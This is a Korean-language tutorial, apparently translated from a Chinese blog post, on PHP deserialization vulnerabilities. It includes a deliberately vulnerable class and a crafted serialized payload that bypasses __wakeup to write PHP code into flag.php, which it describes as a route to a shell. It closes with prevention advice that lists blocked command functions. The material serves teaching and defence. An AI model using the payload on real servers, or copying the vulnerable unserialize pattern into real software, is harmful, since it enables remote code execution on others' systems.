역직렬화 취약점(PHP)

역직렬화 취약점

0x01.직렬화와 역직렬화란 무엇입니까?

직렬화(Serialization): 변수를 저장하거나 전송할 수 있는 문자열로 변환하는 프로세스 역
직렬화(Deserialization): 직렬화된 문자열을 원래의 변수로 변환하여 사용 가능
기능: 데이터를 쉽게 저장하고 전송할 수 있어 프로그램 유지 관리가 용이함

0x02. 왜 직렬화가 있나요?

직렬화는 유형과 구조를 잃지 않고 PHP에 값을 저장하거나 전달하는 프로세스입니다.

0x03. 직렬화 및 역직렬화 코드 예제

<?php
class User
{
    
    
    public $username = 'admin';
    public $password = '123456';
}
// 序列化操作
$user = new User();
$str_ser = serialize($user);
echo "序列化结果为:\n";
var_dump($str_ser);
echo "反序列化结果为:\n";
// 反序列化操作
$str_uns = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}';
$str = unserialize($str_uns);
var_dump($str);
?>

실행 결과:
여기에 이미지 설명을 삽입하세요.
직렬화 후 형식은 다음과 같습니다.
여기에 이미지 설명을 삽입하세요.

0x04. 매직 메소드

매직 메소드는 객체지향 PHP의 고유한 기능입니다. 특정 상황에서 발생하며 모두 이중 밑줄로 시작하므로 후크로 이해할 수 있습니다. 패턴 메소드를 사용하면 PHP 객체지향에서 오버로딩을 쉽게 구현할 수 있습니다(오버로딩은 클래스 속성과 메소드를 동적으로 생성하는 것을 의미합니다).

1.__construct,__destruct

__constuct构建对象的时被调用;
__destruct明确销毁对象或脚本结束时被调用;

2.__get,__set

__set当给不可访问或不存在属性赋值时被调用
__get读取不可访问或不存在属性时被调用

3.__isset,__unset

__isset对不可访问或不存在的属性调用isset()empty()时被调用
__unset对不可访问或不存在的属性进行unset时被调用

4.__sleep,__wakeup

__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作

0x05. 역직렬화 취약점의 원인

unserialize()에 전달된 매개 변수를 제어할 수 있으면 신중하게 구성된 페이로드가 주입될 수 있으며, 역직렬화 시 개체의 일부 매직 메서드가 트리거되어 악의적인 명령 실행이 발생할 수 있습니다!

0x06.역직렬화 취약점 예시
(1) 테스트 코드는 다음과 같습니다.

<?php
header("Content-Type:text/html;charset=utf-8");
class vFREE{
    
    
public $name='vFREE';
public $age='18';
function __wakeup(){
    
    
$this->age = "18";
echo("执行了wakeup魔术方法<br>");
}
function __destruct(){
    
    
echo("执行了destruct魔术方法");
$path='flag.php';
$file_get=file_put_contents($path,$this->name);

}
}
$flag = $_GET['flag'];
$unser = unserialize($flag);
?>

설명: deserialization 함수 unserialize는 클래스 외부에서 사용되는데, 이 함수를 사용하면 vFREE 클래스에 __wakeup 메소드가 있는지 확인하는 것과 같으며, __wakeup 메소드가 있으면 실행됩니다. 당연히 코드에는 wakeup이 있지만 wakeup의 내용은 할당 연산으로 큰 역할은 하지 않습니다. 대신 destruct에서 flag.php 파일을 열기 때문에 destruct에서 사용할 수 있습니다. , $this->name 값을 내용으로 작성합니다. flag.php로 이동하여 Trojan을 작성하면 Getshell을 사용할 수 있습니다.

(2) 매개변수 플래그를 전달하고 전달된 값을 deserialization 함수에 넣어 실행해야 하므로 전달하려는 내용은 직렬화된 문자열이어야 하며 이때 vFREE화처럼 순서를 지정해야 하며 코드는 다음과 같습니다. 다음과 같이:

<?php 
class vFREE{
    
    
    public $name='vFREE';
    public $age='18';

    function __wakeup(){
    
    
    $this->age = "18";
                        }
    function __destruct(){
    
    
    $path='flag.php';
    $file_get=file_put_contents($path,$this->name);
                         }
    }

$test = new vFREE();   
$str = serialize($test);
var_dump($str);
?> 
得到序列化后的结果:O:5:"vFREE":2:{
    
    s:4:"name";s:5:"vFREE";s:3:"age";s:2:"18";}

여기에 이미지 설명을 삽입하세요.
(3) 웨이크업 방법을 우회합니다.

wakeup 메소드를 우회하고 destruct를 직접 실행하고 쉘에 쓰기:
원래 속성 값을 변경하여 wakeup 우회 효과를 얻습니다. 이때 클래스의 속성 값은 2입니다. 속성 값만 다음과 같이 변경하면 됩니다. 우회하려면 2보다 크고, 우회하려면 다음과 같이 5로 변경합니다.

O:5:"vFREE":5:{
    
    s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}

(4) 악성 페이로드를 전달하고 flag.php 생성에 성공합니다.
여기에 이미지 설명을 삽입하세요.
여기에 이미지 설명을 삽입하세요.

(5) 생성된 flag.php를 확인하고 성공적으로 사용

여기에 이미지 설명을 삽입하세요.

0x07. 역직렬화 취약점 방지

1)安全配置好php相关参数
通过Php配置文件里面有个disable_functions = 配置
这个禁止某些php函数,服务器便是用这个来禁止php的执行命令函数
 #禁止这些函数来执行系统命令
例:disable_functions =system,passthru,shell_exec,exec,popen  2)严格控制传入变量,严谨使用魔法函数

Supongo que te gusta

Origin blog.csdn.net/qq_42383069/article/details/124841251
Recomendado
Clasificación